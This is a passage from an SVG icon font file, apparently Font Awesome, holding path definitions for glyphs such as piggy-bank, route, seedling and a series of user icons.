c-3.90039 -1.59961 -7.90039 -2.2998 -11.9004 -2.2998c-12.7002 0 -24.7002 7.59961 -29.7002 20.0996l-27.7002 69.2002l2 18.2002l41.1006 46.4004zM603.5 189.7c4.59961 -20 -0.799805 -41.2002 -14.4004 -56.7002l-67.1992 -75.9004l-10.1006 -92.5996
c-1.7998 -16.4004 -15.7002 -28.5 -31.7998 -28.5c-1.2002 0 -2.2998 0.0996094 -3.5 0.200195c-17.5 1.89941 -30.2002 17.7002 -28.2998 35.2998l10.0996 92.7998c1.5 13 6.90039 25.1006 15.6006 35l43.2998 49l-17.6006 70.2998l-6.7998 -20.3994
c-4.09961 -12.6006 -11.8994 -23.4004 -24.5 -32.6006l-51.0996 -32.5c-4.60059 -2.89941 -12.1006 -4.59961 -17.2002 -5h-160c-5.09961 0.400391 -12.5996 2.10059 -17.2002 5l-51.0996 32.5c-12.6006 9.2002 -20.4004 20.1006 -24.5 32.6006l-6.7998 20.3994
l-17.6006 -70.2998l43.2998 -49c8.7002 -9.89941 14.1006 -22 15.6006 -35l10.0996 -92.7998c1.90039 -17.5996 -10.7002 -33.4004 -28.2998 -35.2998c-1.2002 -0.100586 -2.2998 -0.200195 -3.5 -0.200195c-16.2002 0 -30 12.2002 -31.7998 28.5l-10.1006 92.5996
l-67.1992 75.9004c-13.7002 15.5 -19 36.7002 -14.4004 56.7002l18.4004 80.2002c4.59961 20 18.5996 36.7998 37.5 44.8994c18.5 8 38.8994 6.7002 56.0996 -3.2998c22.7002 -13.4004 39.7998 -34.4004 48.0996 -59.4004l11.3008 -33.8994l16.0996 -10.2002v96
c0 8.7998 7.2002 16 16 16h160c8.7998 0 16 -7.2002 16 -16v-96l16 10.2002l11.2998 33.8994c8.40039 24.9004 25.4004 46 48.1006 59.4004c17.0996 10 37.5996 11.2998 56.0996 3.2998c18.9004 -8.09961 32.9004 -24.8994 37.5 -44.8994zM46.2998 89.9004l41.1006 -46.4004
l2 -18.2002l-27.7002 -69.2002c-6.5 -16.0996 -24.7998 -24.3994 -41.6006 -17.7998c-16.3994 6.60059 -24.3994 25.2002 -17.7998 41.6006z" />
    <glyph glyph-name="piggy-bank" unicode="&#xf4d3;" horiz-adv-x="576" 
d="M560 224c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-48.7002c-9 -11.9004 -19.5 -22.4004 -31.2998 -31.2998v-80.7002c0 -8.7998 -7.2002 -16 -16 -16h-64c-8.7998 0 -16 7.2002 -16 16v48h-128v-48c0 -8.7998 -7.2002 -16 -16 -16h-64
c-8.7998 0 -16 7.2002 -16 16v80.7002c-38.5996 29.2002 -64 75.0996 -64 127.3h-40c-33.2998 0 -59.9004 29.2002 -55.5 63.4004c3.59961 28.1992 29 48.5996 57.5 48.5996c3.2998 0 6 -2.7002 6 -6v-20c0 -3.2998 -2.7002 -6 -6 -6h-1
c-11.5996 0 -22.2998 -7.7998 -24.5 -19.2002c-3 -15.2998 8.7002 -28.7998 23.5 -28.7998h43.2002c14.8994 73 79.3994 128 156.8 128h128c7.90039 0 15.4004 -1.2002 23 -2.2998c17.5996 20.7998 43.5996 34.2998 73 34.2998h32l-18.9004 -75.5
c15.8008 -14.7998 28.6006 -32.5 37.4004 -52.5h29.5zM432 160c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16s-16 -7.2002 -16 -16s7.2002 -16 16 -16zM256 352c-16.4004 0 -32.2002 -2.2998 -47.4004 -6.2002c-0.0996094 2.10059 -0.599609 4.10059 -0.599609 6.2002
c0 53 43 96 96 96s96 -43 96 -96c0 -0.299805 -0.0996094 -0.5 -0.0996094 -0.799805c-5.2002 0.399414 -10.5 0.799805 -15.9004 0.799805h-128z" />
    <glyph glyph-name="ribbon" unicode="&#xf4d6;" horiz-adv-x="448" 
d="M6.09961 3.7002l117.2 130l79.2002 -87.9004l-91.7998 -101.899c-8 -8.80078 -21.4004 -10.5 -31.2998 -3.80078l-68.8008 27.9004c-12 8.09961 -14.0996 24.9004 -4.5 35.7002zM441.9 3.7002c9.69922 -10.7998 7.59961 -27.6006 -4.30078 -35.6006l-68.7998 -27.8994
c-9.89941 -6.7002 -23.2998 -5.10059 -31.2998 3.7998l-248.1 275.3c-48.6006 53.7998 -13 113.5 -11.5 116l43.5996 73.2002c4.2998 7.2002 9.90039 13.2998 16.7998 18c44 29.7002 130.7 27.5996 171.4 0c6.89941 -4.7002 12.5 -10.7998 16.7998 -18l43.7002 -73.5
c21.8994 -36.9004 17.2998 -83.5996 -11.4004 -115.5l-34.2002 -38l-79.0996 87.7002s52.7002 59 56 64.5996c-15.4004 8.40039 -40.2002 17.9004 -77.5 17.9004s-62.0996 -9.5 -77.5 -17.9004c3.40039 -5.5 295.4 -330.1 295.4 -330.1z" />
    <glyph glyph-name="route" unicode="&#xf4d7;" 
d="M416 128c52.9004 0 96 -43.0996 96 -96s-43.0996 -96 -96 -96h-277.8c13.5 16.2998 31.2998 39.2002 47.2998 64h230.5c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32h-96c-52.9004 0 -96 43.0996 -96 96s43.0996 96 96 96h45.2998
c-23.0996 32.5996 -45.2998 70.5 -45.2998 96c0 53 43 96 96 96s96 -43 96 -96s-96 -160 -96 -160h-96c-17.5996 0 -32 -14.4004 -32 -32s14.4004 -32 32 -32h96zM416 384c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM96 192
c53 0 96 -43 96 -96s-96 -160 -96 -160s-96 107 -96 160s43 96 96 96zM96 64c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="seedling" unicode="&#xf4d8;" 
d="M64 352c123.7 0 224 -100.3 224 -224v-144c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v144c-123.7 0 -224 100.3 -224 224h64zM448 416h64c0 -115.9 -88 -211.1 -200.7 -222.8c-10.7998 40.7002 -31.2998 77.3994 -59 107.6
c38.2998 68.7002 111.5 115.2 195.7 115.2z" />
    <glyph glyph-name="sign" unicode="&#xf4d9;" 
d="M496 384c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-368v-368c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v368h-48c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h48v48c0 8.7998 7.2002 16 16 16h32
c8.7998 0 16 -7.2002 16 -16v-48h368zM160 64v224h320v-224h-320z" />
    <glyph glyph-name="smile-wink" unicode="&#xf4da;" horiz-adv-x="496" 
d="M0 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM200 240c0 17.7002 -14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32zM358.5 223.5l9.7002 -8.5c8.39941 -7.5 21.5 -0.299805 19.7998 10.7998
c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998l9.5 8.5c14.7998 13.2002 46.2002 13.2002 61 0zM157.8 122.2c-13.3994 16.2998 -38.0996 -4.10059 -24.5996 -20.4004
c28.5 -34.2002 70.2998 -53.7998 114.8 -53.7998s86.2998 19.5996 114.8 53.7002c13.5 16.2998 -11 36.7002 -24.5996 20.5c-22.4004 -26.7998 -55.2002 -42.2002 -90.2002 -42.2002s-67.7998 15.2998 -90.2002 42.2002z" />
    <glyph glyph-name="tape" unicode="&#xf4db;" horiz-adv-x="640" 
d="M224 256c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64s-64 28.7002 -64 64s28.7002 64 64 64zM624 32c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-400c-123.7 0 -224 100.3 -224 224s100.3 224 224 224s224 -100.3 224 -224
c0 -62.7002 -25.9004 -119.3 -67.4004 -160h243.4zM224 96c53 0 96 43 96 96s-43 96 -96 96s-96 -43 -96 -96s43 -96 96 -96z" />
    <glyph glyph-name="truck-loading" unicode="&#xf4de;" horiz-adv-x="640" 
d="M50.2002 72.4004l-49.6006 185.5c-2.2998 8.5 2.80078 17.2998 11.3008 19.5996l77.2998 20.7002l24.7998 -92.7002l61.7998 16.5l-24.7998 92.7002l77.2002 20.7998c8.5 2.2998 17.2998 -2.7998 19.5996 -11.2998l49.7002 -185.5
c2.2998 -8.5 -2.7998 -17.2998 -11.2998 -19.6006l-216.4 -58c-8.5 -2.2998 -17.2998 2.80078 -19.5996 11.3008zM384 448h256v-400c0 -61.9004 -50.0996 -112 -112 -112c-60.4004 0 -109.2 47.9004 -111.6 107.7l-393.7 -107.4
c-4.2002 -1.2002 -8.60059 1.2998 -9.7998 5.60059l-12.6006 46.2998c-1.2002 4.2002 1.2998 8.59961 5.60059 9.7998l346.1 94.4004v323.6c0 17.7002 14.2998 32 32 32zM528 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48z" />
    <glyph glyph-name="truck-moving" unicode="&#xf4df;" horiz-adv-x="640" 
d="M621.3 210.7c12 -12 18.7002 -28.2002 18.7002 -45.2002v-85.5c0 -8.7998 -7.2002 -16 -16 -16h-17.5996c1 -5.2002 1.59961 -10.5 1.59961 -16c0 -44.2002 -35.7998 -80 -80 -80s-80 35.7998 -80 80c0 5.5 0.5 10.7998 1.59961 16h-163.199
c1 -5.2002 1.59961 -10.5 1.59961 -16c0 -44.2002 -35.7998 -80 -80 -80c-26.2998 0 -49.4004 12.7998 -64 32.4004c-14.5996 -19.5 -37.7002 -32.4004 -64 -32.4004c-44.2002 0 -80 35.7998 -80 80v336c0 17.7002 14.2998 32 32 32h416c17.7002 0 32 -14.2998 32 -32
v-96.0996h37.5c17 0 33.2998 -6.7002 45.2998 -18.7002zM80 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM208 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32zM480 240v-48
h92.0996l-43.2998 43.2998c-3 3 -7 4.7002 -11.2998 4.7002h-37.5zM528 16c17.5996 0 32 14.4004 32 32s-14.4004 32 -32 32s-32 -14.4004 -32 -32s14.4004 -32 32 -32z" />
    <glyph glyph-name="video-slash" unicode="&#xf4e2;" horiz-adv-x="640" 
d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.7998 -22.4004l-19.5996 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-178.5 138l-373.3 288.6l-36.5 28.2002c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998
l78.4004 -60.5996h244.3c26.3994 0 47.7998 -21.4004 47.7998 -47.7998v-178l32 -24.7002v137.2l109.6 75.5996c21.3008 14.6006 50.4004 -0.299805 50.4004 -25.7998v-257c0 -17.4004 -13.7998 -29.7002 -29.2002 -31.0996zM32 47.7998v245.5l365.8 -282.8
c-8.2002 -6.5 -18.3994 -10.5 -29.5996 -10.5h-288.4c-26.3994 0 -47.7998 21.4004 -47.7998 47.7998z" />
    <glyph glyph-name="wine-glass" unicode="&#xf4e3;" horiz-adv-x="288" 
d="M216 -16c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-208c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h40v117.18c-68.4697 15.8906 -118.05 79.9102 -111.4 154.16l15.96 178.11c0.730469 8.24023 7.55078 14.5498 15.7002 14.5498h223.48
c8.16016 0 14.9697 -6.30957 15.71 -14.5498l15.9502 -178.101c6.64941 -74.25 -42.9307 -138.27 -111.4 -154.159v-117.19h40z" />
    <glyph glyph-name="user-alt-slash" unicode="&#xf4fa;" horiz-adv-x="640" 
d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l135.5 -104.8
c16 62.1006 71.9004 108.2 139 108.2c79.5 0 144 -64.5 144 -144c0 -54.0996 -30.2002 -100.7 -74.4004 -125.3zM198.4 128h47.3994l248.4 -192h-382.2c-26.5 0 -48 21.5 -48 48v9.59961c0 74.2002 60.2002 134.4 134.4 134.4z" />
    <glyph glyph-name="user-astronaut" unicode="&#xf4fb;" horiz-adv-x="448" 
d="M64 224c-8.7998 0 -16 7.2002 -16 16v96c0 8.7998 7.2002 16 16 16h13.5c24.7002 56.5 80.9004 96 146.5 96s121.8 -39.5 146.5 -96h13.5c8.7998 0 16 -7.2002 16 -16v-96c0 -8.7998 -7.2002 -16 -16 -16h-13.5c-24.7002 -56.5 -80.9004 -96 -146.5 -96
s-121.8 39.5 -146.5 96h-13.5zM104 312v-24c0 -53 43 -96 96 -96h48c53 0 96 43 96 96v24c0 22.0996 -21.5 40 -48 40h-144c-26.5 0 -48 -17.9004 -48 -40zM176 240l-12 36l-36 12l36 12l12 36l12 -36l36 -12l-36 -12zM327.6 126.6c67.5 -7.09961 120.4 -63.5996 120.4 -133
v-9.59961c0 -26.5 -21.5 -48 -48 -48h-80v64c0 17.7002 -14.2998 32 -32 32h-128c-17.7002 0 -32 -14.2998 -32 -32v-64h-80c-26.5 0 -48 21.5 -48 48v9.59961c0 69.4004 52.9004 125.9 120.4 133c29.8994 -19.2998 65.3994 -30.5996 103.6 -30.5996
s73.7002 11.2998 103.6 30.5996zM272 0c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16s-16 7.2002 -16 16s7.2002 16 16 16zM176 0c8.7998 0 16 -7.2002 16 -16v-48h-32v48c0 8.7998 7.2002 16 16 16z" />
    <glyph glyph-name="user-check" unicode="&#xf4fc;" horiz-adv-x="640" 
d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996
c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992zM636.6 288.4c4.60059 -4.60059 4.5 -12.1006 -0.0996094 -16.8008l-141.3 -140.199c-4.7002 -4.60059 -12.2002 -4.60059 -16.7998 0.0996094
l-81.7002 82.2998c-4.60059 4.7002 -4.60059 12.2002 0.0996094 16.7998l28.1006 27.9004c4.69922 4.59961 12.1992 4.59961 16.7998 -0.0996094l45.5 -45.8008l104.8 104c4.7002 4.60059 12.2002 4.60059 16.7998 -0.0996094z" />
    <glyph glyph-name="user-clock" unicode="&#xf4fd;" horiz-adv-x="640" 
d="M496 224c79.5996 0 144 -64.4004 144 -144s-64.4004 -144 -144 -144s-144 64.4004 -144 144s64.4004 144 144 144zM560 73.7002v12.5996c0 5.2998 -4.40039 9.7002 -9.7002 9.7002h-38.2998v54.2998c0 5.2998 -4.40039 9.7002 -9.7002 9.7002h-12.5996
c-5.2998 0 -9.7002 -4.40039 -9.7002 -9.7002v-76.5996c0 -5.2998 4.40039 -9.7002 9.7002 -9.7002h60.5996c5.2998 0 9.7002 4.40039 9.7002 9.7002zM320 80c0 -59.5 29.7998 -112.1 75.0996 -144h-347.1c-26.5 0 -48 21.5 -48 48v41.5996
c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992c8.40039 0 16.6006 -1 24.6006 -2.5c-11.5 -23.4004 -18.2002 -49.7002 -18.2002 -77.5zM224 192c-70.7002 0 -128 57.2998 -128 128
s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128z" />
    <glyph glyph-name="user-cog" unicode="&#xf4fe;" horiz-adv-x="640" 
d="M610.5 74.7002l25.7998 -14.9004c2.90039 -1.7002 4.2998 -5.2002 3.2998 -8.5c-6.69922 -21.5996 -18.1992 -41.2002 -33.1992 -57.3994c-2.30078 -2.5 -6.10059 -3.10059 -9 -1.40039l-25.8008 14.9004c-10.8994 -9.30078 -23.3994 -16.5 -36.8994 -21.3008v-29.7998
c0 -3.39941 -2.40039 -6.39941 -5.7002 -7.09961c-21.2002 -4.7998 -43.9004 -5 -66.2002 0c-3.2998 0.700195 -5.7002 3.7002 -5.7002 7.09961v29.7998c-13.5 4.80078 -26 12 -36.8994 21.3008l-25.7998 -14.9004c-3 -1.7002 -6.7002 -1.09961 -9 1.40039
c-15 16.2998 -26.5 35.7998 -33.2002 57.3994c-1 3.2998 0.299805 6.7998 3.2998 8.5l25.7998 14.9004c-2.59961 14.0996 -2.59961 28.5 0 42.5996l-25.7998 14.9004c-2.90039 1.7002 -4.2998 5.2002 -3.2998 8.5c6.7002 21.5996 18.2002 41.2002 33.2002 57.3994
c2.2998 2.5 6.09961 3.10059 9 1.40039l25.7998 -14.9004c10.8994 9.30078 23.3994 16.5 36.8994 21.3008v29.7998c0 3.39941 2.40039 6.39941 5.7002 7.09961c21.2002 4.7998 43.9004 5 66.2002 0c3.2998 -0.700195 5.7002 -3.7002 5.7002 -7.09961v-29.7998
c13.5 -4.80078 26 -12 36.8994 -21.3008l25.8008 14.9004c3 1.7002 6.69922 1.09961 9 -1.40039c15 -16.1992 26.5 -35.7998 33.1992 -57.3994c1 -3.2998 -0.299805 -6.7998 -3.2998 -8.5l-25.7998 -14.9004c2.59961 -14.0996 2.59961 -28.5 0 -42.5996zM496 47.5
c26.7998 0 48.5 21.7998 48.5 48.5s-21.7998 48.5 -48.5 48.5s-48.5 -21.7998 -48.5 -48.5s21.7002 -48.5 48.5 -48.5zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM425.2 -34.5v-9.2002
c0 -4.09961 0.799805 -8 2 -11.7998c-7.7002 -5.2998 -17.1006 -8.5 -27.2002 -8.5h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992
c3.90039 0 7.60059 -0.900391 11.4004 -1.2002c-1 -2.89941 -2.2998 -5.7998 -3.2002 -8.7002c-5.5 -17.6992 1.90039 -36.5 17.9004 -45.6992l7.89941 -4.60059c-0.0996094 -2.59961 -0.0996094 -5.2002 0 -7.7998l-7.89941 -4.59961
c-16 -9.30078 -23.4004 -28 -17.9004 -45.7002c7.90039 -25.7002 21.9004 -49.7998 40.2002 -69.6006c7.5 -8 18 -12.5996 28.9004 -12.5996c6.7998 0 13.5996 1.90039 19.5996 5.2998l7.90039 4.60059c2.19922 -1.30078 4.5 -2.7002 6.7998 -3.90039z" />
    <glyph glyph-name="user-edit" unicode="&#xf4ff;" horiz-adv-x="640" 
d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c39.9004 0 75.4004 -17.7998 99.9004 -45.5l-77.2998 -77.2998l-7.90039 -7.90039l-1.2002 -11.0996l-6.7998 -60.9004
c-0.799805 -7.2998 0.200195 -14.5 2.60059 -21.2998h-274.9c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992zM358.9 14.7002l137.899 137.8l71.7002 -71.7002
l-137.9 -137.899l-60.8994 -6.80078c-10.1006 -1.19922 -18.7002 7.40039 -17.6006 17.6006zM633 179.1c9.2998 -9.39941 9.2998 -24.5 0 -33.8994l-41.7998 -41.7998l-71.7998 71.6992l4.09961 4.10059l37.7998 37.7998c9.2998 9.2998 24.5 9.2998 33.7998 0z" />
    <glyph glyph-name="user-friends" unicode="&#xf500;" horiz-adv-x="640" 
d="M192 192c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM268.8 160c63.6006 0 115.2 -51.5996 115.2 -115.2v-28.7998c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v28.7998
c0 63.6006 51.5996 115.2 115.2 115.2h8.2998c20.9004 -10 43.9004 -16 68.5 -16s47.7002 6 68.5 16h8.2998zM480 192c-53 0 -96 43 -96 96s43 96 96 96s96 -43 96 -96s-43 -96 -96 -96zM528 160c61.9004 0 112 -50.0996 112 -112c0 -26.5 -21.5 -48 -48 -48h-176.6
c0.0996094 2.09961 0.599609 4.2002 0.599609 6.40039v38.3994c0 38.6006 -15.2998 73.5 -39.7002 99.7998c16.5 9.5 35.2998 15.4004 55.7002 15.4004h3.7998c13.9004 -4.7998 28.6006 -8 44.2002 -8s30.2998 3.2002 44.2002 8h3.7998z" />
    <glyph glyph-name="user-graduate" unicode="&#xf501;" horiz-adv-x="448" 
d="M319.4 127.4c71.5 -3.10059 128.6 -61.6006 128.6 -133.801v-9.59961c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v9.59961c0 72.2002 57.0996 130.7 128.6 133.801l95.4004 -95.4004zM13.5996 368.2c-18.0996 4.39941 -18.0996 27.2002 0 31.5996
l190.601 45.9004c13 3.09961 26.7002 3.09961 39.7002 0l190.399 -46c18.2002 -4.40039 18.2002 -27.1006 0 -31.5l-96.2998 -23.2002c8.7002 -17.2002 14 -36.4004 14 -57c0 -70.7002 -57.2998 -128 -128 -128s-128 57.2998 -128 128c0 20.5996 5.40039 39.7998 14 57
l-66 15.9004v-52.6006c7 -4.2002 12 -11.5 12 -20.2998c0 -8.40039 -4.59961 -15.4004 -11.0996 -19.7002l15.5996 -62.2998c1.7002 -6.90039 -2.09961 -14 -7.59961 -14h-41.8008c-5.5 0 -9.2998 7.09961 -7.59961 14l15.5996 62.2998
c-6.5 4.2998 -11.0996 11.2998 -11.0996 19.7002c0 8.7998 5 16.0996 12 20.2998v58.4004z" />
    <glyph glyph-name="user-lock" unicode="&#xf502;" horiz-adv-x="640" 
d="M224 192c-70.6562 0 -128 57.3438 -128 128s57.3438 128 128 128s128 -57.3438 128 -128s-57.3438 -128 -128 -128zM320 128v-160c0.0644531 -9.49707 4.05176 -23.833 8.90039 -32h-280.9c-26.4961 0 -48 21.5039 -48 48v41.5996
c0.0166016 74.1729 60.2275 134.384 134.4 134.4h16.6992c19.1514 -8.83203 51.8105 -16 72.9004 -16s53.749 7.16797 72.9004 16h16.6992c5 0 9.7002 -1 14.5 -1.5c-4.41016 -7.84082 -8.03906 -21.5049 -8.09961 -30.5zM608 160c17.6641 0 32 -14.3359 32 -32v-160
c0 -17.6641 -14.3359 -32 -32 -32h-224c-17.6641 0 -32 14.3359 -32 32v160c0 17.6641 14.3359 32 32 32h32v80c0 44.1602 35.8398 80 80 80s80 -35.8398 80 -80v-80h32zM496 16c17.6641 0 32 14.3359 32 32s-14.3359 32 -32 32s-32 -14.3359 -32 -32s14.3359 -32 32 -32z
M528 160v80c0 17.6641 -14.3359 32 -32 32s-32 -14.3359 -32 -32v-80h64z" />
    <glyph glyph-name="user-minus" unicode="&#xf503;" horiz-adv-x="640" 
d="M624 240c8.7998 0 16 -7.2002 16 -16v-32c0 -8.7998 -7.2002 -16 -16 -16h-192c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h192zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128z
M313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" />
    <glyph glyph-name="user-ninja" unicode="&#xf504;" horiz-adv-x="448" 
d="M325.4 158.8c68.5996 -6.09961 122.6 -63 122.6 -133.2v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 70.2002 54 127.101 122.6 133.2l101.4 -101.399zM32 256c0 33.4004 17.0996 62.7998 43.0996 80
c-26 17.2002 -43.0996 46.5996 -43.0996 80c32 0 60.0996 -15.7998 77.5 -39.7998c20.9004 42.3994 64.0996 71.7998 114.5 71.7998c70.7002 0 128 -57.2998 128 -128s-57.2998 -128 -128 -128c-58.7998 0 -107.7 39.7998 -122.8 93.7002
c-17.4004 -18.2002 -41.9004 -29.7002 -69.2002 -29.7002zM176 352c-17.7002 0 -32 -14.2998 -32 -32h160c0 17.7002 -14.2998 32 -32 32h-96z" />
    <glyph glyph-name="user-shield" unicode="&#xf505;" horiz-adv-x="640" 
d="M622.3 176.9c10.7002 -4.2002 17.7002 -14 17.7002 -24.9004c0 -124.5 -81.5996 -193.9 -132.9 -213.9c-4.19922 -1.59961 -12.5996 -3.69922 -22.1992 0c-64.2002 25.1006 -132.9 102.301 -132.9 213.9c0 10.9004 7 20.7002 17.7002 24.9004l115.2 45
c9.59961 3.69922 18.0996 1.59961 22.1992 0zM496 -14.4004c34.5996 16.4004 89.9004 64.7002 95.5 151.801l-95.5 37.2998v-189.101zM224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM320 152
c0 -95.2998 45.2002 -169.1 99.2002 -212c-5.90039 -2.5 -12.4004 -4 -19.2002 -4h-352c-26.5 0 -48 21.5 -48 48v41.5996c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992
c2.60059 0 5 -0.700195 7.5 -0.799805c-0.299805 -2.40039 -1.09961 -4.7002 -1.09961 -7.2002z" />
    <glyph glyph-name="user-slash" unicode="&#xf506;" horiz-adv-x="640" 
d="M633.8 -10.0996c7 -5.40039 8.2998 -15.5 2.90039 -22.3008l-19.6006 -25.2998c-5.5 -7 -15.5 -8.2002 -22.5 -2.7998l-588.399 454.7c-7 5.39941 -8.2002 15.3994 -2.7998 22.3994l19.5996 25.2002c5.5 7 15.5 8.2002 22.5 2.7998l147.6 -114
c5.40039 65.6006 59.8008 117.4 126.9 117.4c70.7002 0 128 -57.2998 128 -128c0 -55.7998 -35.9004 -102.7 -85.7002 -120.3zM96 25.5996c0 66.4004 48.2002 121.101 111.4 132.101l286.8 -221.7h-350.2c-26.5 0 -48 21.5 -48 48v41.5996z" />
    <glyph glyph-name="user-tag" unicode="&#xf507;" horiz-adv-x="640" 
d="M630.6 83.0996c12.5 -12.5 12.5 -32.6992 -0.0996094 -45.1992l-92.5 -92.5c-12.5 -12.5 -32.7998 -12.5 -45.2998 0l-90.2998 90.1992c-12 12 -18.7002 28.2002 -18.7002 45.2002v79.2002c0 17.7002 14.2998 32 32 32h79.2998c17 0 33.2998 -6.7002 45.2998 -18.7002z
M447.8 104.1c13.2998 0 24 10.8008 24 24c0 13.3008 -10.7002 24 -24 24s-24 -10.6992 -24 -24c0 -13.2998 10.7002 -24 24 -24zM224 192.1c-70.7002 0 -128 57.3008 -128 127.9c0 70.7002 57.2998 128 128 128s128 -57.2998 128 -127.9c0 -70.6992 -57.2998 -128 -128 -128
zM351.8 80.9004c0 -25.7002 10 -49.8008 28.1006 -67.9004l58 -58c-8.80078 -11.4004 -22.4004 -18.9004 -37.9004 -18.9004h-352c-26.5 0 -48 21.5 -48 48v41.6006c0 74.2002 60.2002 134.399 134.4 134.5h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16
s50.7002 5.7998 72.9004 16h16.6992c13.3008 0 26 -2.60059 38.2002 -6.2002v-73.0996z" />
    <glyph glyph-name="user-tie" unicode="&#xf508;" horiz-adv-x="448" 
d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM319.8 159.4c71.2998 -3.40039 128.2 -61.7002 128.2 -133.801v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996
c0 72.1006 56.9004 130.4 128.2 133.801l47.7998 -191.4l32 136l-32 56h96l-32 -56l32 -136z" />
    <glyph glyph-name="users-cog" unicode="&#xf509;" horiz-adv-x="640" 
d="M610.5 106.7l25.7998 -14.9004c2.90039 -1.7002 4.2998 -5.2002 3.2998 -8.5c-6.69922 -21.5996 -18.1992 -41.2002 -33.1992 -57.3994c-2.30078 -2.5 -6.10059 -3.10059 -9 -1.40039l-25.8008 14.9004c-10.8994 -9.30078 -23.3994 -16.5 -36.8994 -21.3008v-29.7998
c0 -3.39941 -2.40039 -6.39941 -5.7002 -7.09961c-21.2002 -4.7998 -43.9004 -5 -66.2002 0c-3.2998 0.700195 -5.7002 3.7002 -5.7002 7.09961v29.7998c-13.5 4.80078 -26 12 -36.8994 21.3008l-25.7998 -14.9004c-3 -1.7002 -6.7002 -1.09961 -9 1.40039
